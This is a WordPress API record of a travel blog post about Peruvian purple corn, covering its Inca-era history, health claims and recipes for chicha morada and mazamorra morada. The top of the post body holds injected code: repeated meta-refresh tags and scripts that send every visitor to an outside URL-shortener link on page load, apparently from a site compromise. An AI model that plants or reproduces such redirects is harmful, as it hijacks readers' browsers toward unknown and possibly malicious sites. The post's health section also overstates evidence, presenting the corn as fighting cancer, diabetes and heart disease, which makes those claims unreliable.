{"id":17638,"date":"2025-08-12T15:34:16","date_gmt":"2025-08-12T20:34:16","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=17638"},"modified":"2025-08-12T16:01:40","modified_gmt":"2025-08-12T21:01:40","slug":"maiz-morado-perus-purple-corn-celebration","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/maiz-morado-perus-purple-corn-celebration\/","title":{"rendered":"Ma\u00edz Morado: Peru\u2019s Purple Corn Celebration"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>In a bustling<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/complete-guide-to-the-best-markets-in-peru\/\"><strong> Peruvian market<\/strong><\/a>, stalls overflow with colorful textiles and handcrafted pottery. Among them, deep purple corn cobs stand out, catching attention like rare gems.&nbsp;<\/p>\n\n\n\n<p>This is ma\u00edz morado (purple corn), <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-12-incredible-peruvian-superfoods-you-should-try\/\"><strong>Peru\u2019s ancient superfood<\/strong><\/a>, treasured for thousands of years. For travelers visiting the land of the Incas, this striking crop is more than a market find:<\/p>\n\n\n\n<p>It\u2019s a gateway to Peru\u2019s rich history, remarkable health benefits, and delightful culinary creations. Therefore, this article shares the story of purple corn in a clear, engaging, and human-like way to inspire your Peruvian journey.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Storied Past: The Legacy of Ma\u00edz Morado in Peru<\/strong><\/h2>\n\n\n\n<p>To begin with our story, Ma\u00edz morado has a history spanning over 2,500 years, deeply rooted in Peru\u2019s Andean valleys. <\/p>\n\n\n\n<p>This unique variety of Zea mays, or corn, emerged in the mid-altitude regions of central Peru. <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/ancient-peru-cultures-before-the-inca-empire-part-ii\/\"><strong>Pre-Hispanic cultures,<\/strong><\/a> such as the Moche, celebrated it in their ceramics as early as 500 BC, showcasing its significance through intricate designs.<\/p>\n\n\n\n<p> These early artworks highlight the crop\u2019s cultural importance long before modern times. By the 13th century, the Incas elevated ma\u00edz morado to a cultural cornerstone. <\/p>\n\n\n\n<p>They used it in sacred rituals, as a natural dye for vibrant purple textiles, and as a staple food.&nbsp;Known in Quechua as \u201ck\u2019culli\u201d or \u201ckulli sara,\u201d it was sometimes called \u201coro\u201d\u2014gold\u2014reflecting its value. <\/p>\n\n\n\n<p>Later, the Incas cultivated it across their empire, from Peru\u2019s highlands to parts of Bolivia and Ecuador, thriving at altitudes of 1,200 to 4,000 meters where cool climates and fertile soils enhance its vivid color and nutrients.<\/p>\n\n\n\n<p>Eventually, the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong> Spanish arrival<\/strong><\/a> in the 16th century introduced new ingredients like sugar, cinnamon, and cloves, blending with purple corn to create dishes that remain popular today.<\/p>\n\n\n\n<p>&nbsp;Mazamorra morada, a creamy pudding, evolved from ancient corn porridges and became so beloved in colonial Lima that locals earned the nickname \u201clime\u00f1o mazamorreros\u201d\u2014pudding enthusiasts.&nbsp;<\/p>\n\n\n\n<p>Today, ma\u00edz morado remains a vibrant part of Peru\u2019s culture, grown in Andean fields and celebrated in markets, festivals, and kitchens across the country.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?resize=697%2C465&#038;ssl=1\" alt=\"Picture that exemplifies the process of usage of maiz morado or purple corn, from Pre Inca, Inca, and colonial times\" class=\"wp-image-17644\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/6d074b92-e017-42b6-951e-b12d68198736.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Maiz morado has joined Peruvian families since inmemorial times.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Health Benefits: The Power of Purple Corn<\/strong><\/h2>\n\n\n\n<p>The deep purple hue of ma\u00edz morado comes from anthocyanins, powerful antioxidants that surpass blueberries with 16.4 mg per gram.&nbsp;<\/p>\n\n\n\n<p>These compounds neutralize free radicals, molecules that accelerate aging and contribute to health issues. <\/p>\n\n\n\n<p>For example, research highlights benefits such as the anti-inflammatory, antimutagenic, and anticarcinogenic properties.<\/p>\n\n\n\n<p>&nbsp;Additionally, the purple corn\u2019s phenolics help combat chronic conditions like cancer, diabetes, and heart disease.<\/p>\n\n\n\n<p>Likewise, studies, including lab and animal research, show that purple corn extracts enhance antioxidant enzymes, protect organs from oxidative stress, and reduce inflammation markers.&nbsp;<\/p>\n\n\n\n<p>For heart health, it lowers cholesterol, stabilizes blood pressure, and improves circulation\u2014ideal for travelers recovering from a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/difference-between-machu-picchu-mountain-and-huayna-picchu\/\"><strong>Machu Picchu<\/strong><\/a> hike.<\/p>\n\n\n\n<p>&nbsp;It is also rich in vitamins A, C, B2, and B3, plus minerals like iron (a boon for anemia), phosphorus, and calcium; in other words,maiz morado is a nutritional powerhouse.<\/p>\n\n\n\n<p>&nbsp;It also supports blood sugar regulation and weight management, making it valuable for those with diabetes or obesity concerns.&nbsp;<\/p>\n\n\n\n<p>Furthermore, it aids eye health by regenerating rhodopsin, potentially reducing the risks of cataracts and macular degeneration.<\/p>\n\n\n\n<p>As a gluten-free option with higher protein and fiber than standard corn, ma\u00edz morado supports digestion and provides sustained energy.&nbsp;<\/p>\n\n\n\n<p>In Peru, locals enjoy chicha morada as a natural energy booster, offering refreshment without the caffeine crash. Sipping it in a sunny plaza feels like enjoying a wellness drink with ancient roots.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Beautiful corn cob of maiz morado, freshly harvested\" class=\"wp-image-17642\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maiz-morado-madera.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Culinary Delights: Drinks and Desserts with Purple Corn<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chicha Morada<\/strong><\/h3>\n\n\n\n<p>Ma\u00edz morado\u2019s nutty, slightly sweet flavor shines in Peru\u2019s iconic dishes, starting with chicha morada, a non-alcoholic beverage as quintessentially<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\"><strong> Peruvian as ceviche<\/strong><\/a>.&nbsp;<\/p>\n\n\n\n<p>Originating in Inca rituals, where corn was boiled with fruits and spices, it\u2019s now a staple at street stalls and upscale restaurants. Here\u2019s a straightforward recipe for chicha morada, yielding about eight servings:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients:&nbsp;<\/strong><\/h3>\n\n\n\n<p>1 pound dried purple corn<\/p>\n\n\n\n<p>10 cups of water<\/p>\n\n\n\n<p>Peel of 1 pineapple (plus 1 cup diced pineapple)<\/p>\n\n\n\n<p>&nbsp;1 chopped apple<\/p>\n\n\n\n<p>&nbsp;2 cinnamon sticks<\/p>\n\n\n\n<p>4 cloves<\/p>\n\n\n\n<p>&nbsp;\u00bd cup sugar or honey<\/p>\n\n\n\n<p>juice of 2 limes.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/78487487_10157894368761383_2676002386207571968_n.jpg?resize=697%2C871&#038;ssl=1\" alt=\"Freshly made chicha morada, with a slice of lemon.\" class=\"wp-image-17643\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/78487487_10157894368761383_2676002386207571968_n.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/78487487_10157894368761383_2676002386207571968_n.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/78487487_10157894368761383_2676002386207571968_n.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/78487487_10157894368761383_2676002386207571968_n.jpg?resize=1229%2C1536&amp;ssl=1 1229w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/78487487_10157894368761383_2676002386207571968_n.jpg?w=1440&amp;ssl=1 1440w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Steps:&nbsp;<\/strong><\/h3>\n\n\n\n<p> Boil corn, pineapple peel, apple, cinnamon, and cloves in water for 45\u201360 minutes until the liquid turns deep purple. <\/p>\n\n\n\n<p>Then, strain, add sugar and lime juice, stir, and chill. Finally, serve over ice with pineapple slices for garnish.<\/p>\n\n\n\n<p>This tangy, spiced drink pairs perfectly with spicy <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/\" title=\"\">Peruvian creole dishes<\/a><\/strong>, enhancing flavors while aiding digestion and boosting immunity.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Mazamorra Morada<\/strong><\/h3>\n\n\n\n<p>Another beloved treat is mazamorra morada, a creamy pudding that\u2019s a Peruvian comfort food classic. Evolving from Inca porridges, it gained popularity in colonial times with added sugar and spices.<\/p>\n\n\n\n<p>Eventually, it became a highlight of Lima\u2019s<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lord-of-the-miracles-everything-you-need-to-know\/\"><strong> October Lord of the Miracles <\/strong><\/a>festival. Here\u2019s a simple recipe for mazamorra morada:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>1 cup purple corn flour (or 1 pound dried corn)<\/p>\n\n\n\n<p>Peel and core of 1 pineapple<\/p>\n\n\n\n<p>1 chopped apple<\/p>\n\n\n\n<p>&nbsp;\u00bd cup dried fruits (raisins, prunes)<\/p>\n\n\n\n<p>&nbsp;1 cinnamon stick<\/p>\n\n\n\n<p>4 cloves<\/p>\n\n\n\n<p>\u00bd cup sugar<\/p>\n\n\n\n<p>&nbsp;\u00bd cup chopped pineapple<\/p>\n\n\n\n<p>1 tablespoon cornflour<\/p>\n\n\n\n<p>\u00a0Juice of 1 lemon.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"385\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/DSC058141-1024x565-1.webp?resize=697%2C385&#038;ssl=1\" alt=\"Mazamorra morada, the purple porridge that Peruvians love, with fruits and cinnamon powder sprinkled over it\" class=\"wp-image-17645\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/DSC058141-1024x565-1.webp?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/DSC058141-1024x565-1.webp?resize=300%2C166&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/DSC058141-1024x565-1.webp?resize=768%2C424&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Steps&nbsp;<\/strong><\/h3>\n\n\n\n<p>To start with, boil corn, pineapple peel, apple, cinnamon, and cloves in 2 liters of water for 45\u201360 minutes. Then, strain, add dried fruits, pineapple, and sugar, and simmer for 10 minutes.&nbsp;<\/p>\n\n\n\n<p>Later, mix cornflour with water to create a slurry, stir in to thicken, add lemon juice, and serve warm or chilled with a sprinkle of cinnamon.<\/p>\n\n\n\n<p>This rich, fruity dessert is often served alongside arroz con leche for a \u201cclasico\u201d treat, blending creamy textures.<\/p>\n\n\n\n<p>Beyond these classics, purple corn flour can enhance smoothies or yogurt bowls. In Peru, it appears in jams, cakes, and tamales, offering endless culinary possibilities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Maiz Morado is now your favorite corn&nbsp;<\/strong><\/h2>\n\n\n\n<p>In conclusion, we can claim that Ma\u00edz morado is more than a crop\u2014it\u2019s a vibrant thread in Peru\u2019s cultural tapestry, weaving together history, health, and flavor.&nbsp;<\/p>\n\n\n\n<p>From its Inca origins to its modern-day presence in markets and festivals, this purple corn offers antioxidants that support wellness, dishes that delight the palate, and stories that enrich your travels.<\/p>\n\n\n\n<p>&nbsp;Whether enjoying chicha morada on a sunny terrace or savoring mazamorra morada in a cozy eatery, you\u2019re tasting Peru\u2019s heritage.&nbsp;<\/p>\n\n\n\n<p>Plan your journey, explore its markets, and let ma\u00edz morado add a splash of color to your Peruvian adventure. Safe travels and enjoy the flavors!<\/p>\n\n\n\n<p>Keep in mind that, for a truly Peruvian adventure, you can count on <strong><em>Viagens Machu Picchu<\/em><\/strong>. So, please, feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\"><strong>contact us<\/strong> <\/a>to learn more about our tailor-made tours, best deals, and promotions! The adventure in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ma\u00edz morado, Peru\u2019s vivid purple corn, carries 2,500 years of history from Inca rituals to modern markets. Packed with antioxidants, vitamins, and minerals, it shines in classics like chicha morada and mazamorra morada, uniting wellness, tradition, and culinary delight.<\/p>\n","protected":false},"author":1,"featured_media":17640,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3495,1],"tags":[2082,3273,950,4112,3093,1089,212,5992,3200,246,1231,1907,4087,4131],"class_list":["post-17638","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-peruvian-flavors","category-sem-categoria","tag-andean","tag-antioxidants","tag-chicha-morada","tag-culinary","tag-health-benefits","tag-inca","tag-machu-picchu","tag-maiz-morado","tag-mazamorra-morada","tag-peru","tag-peruvian","tag-purple-corn","tag-superfood","tag-wellness"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/e409748f0544b890996e7273c8bd1fde.jpg?fit=1024%2C768&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4Au","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=17638"}],"version-history":[{"count":5,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17638\/revisions"}],"predecessor-version":[{"id":17654,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17638\/revisions\/17654"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/17640"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=17638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=17638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=17638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}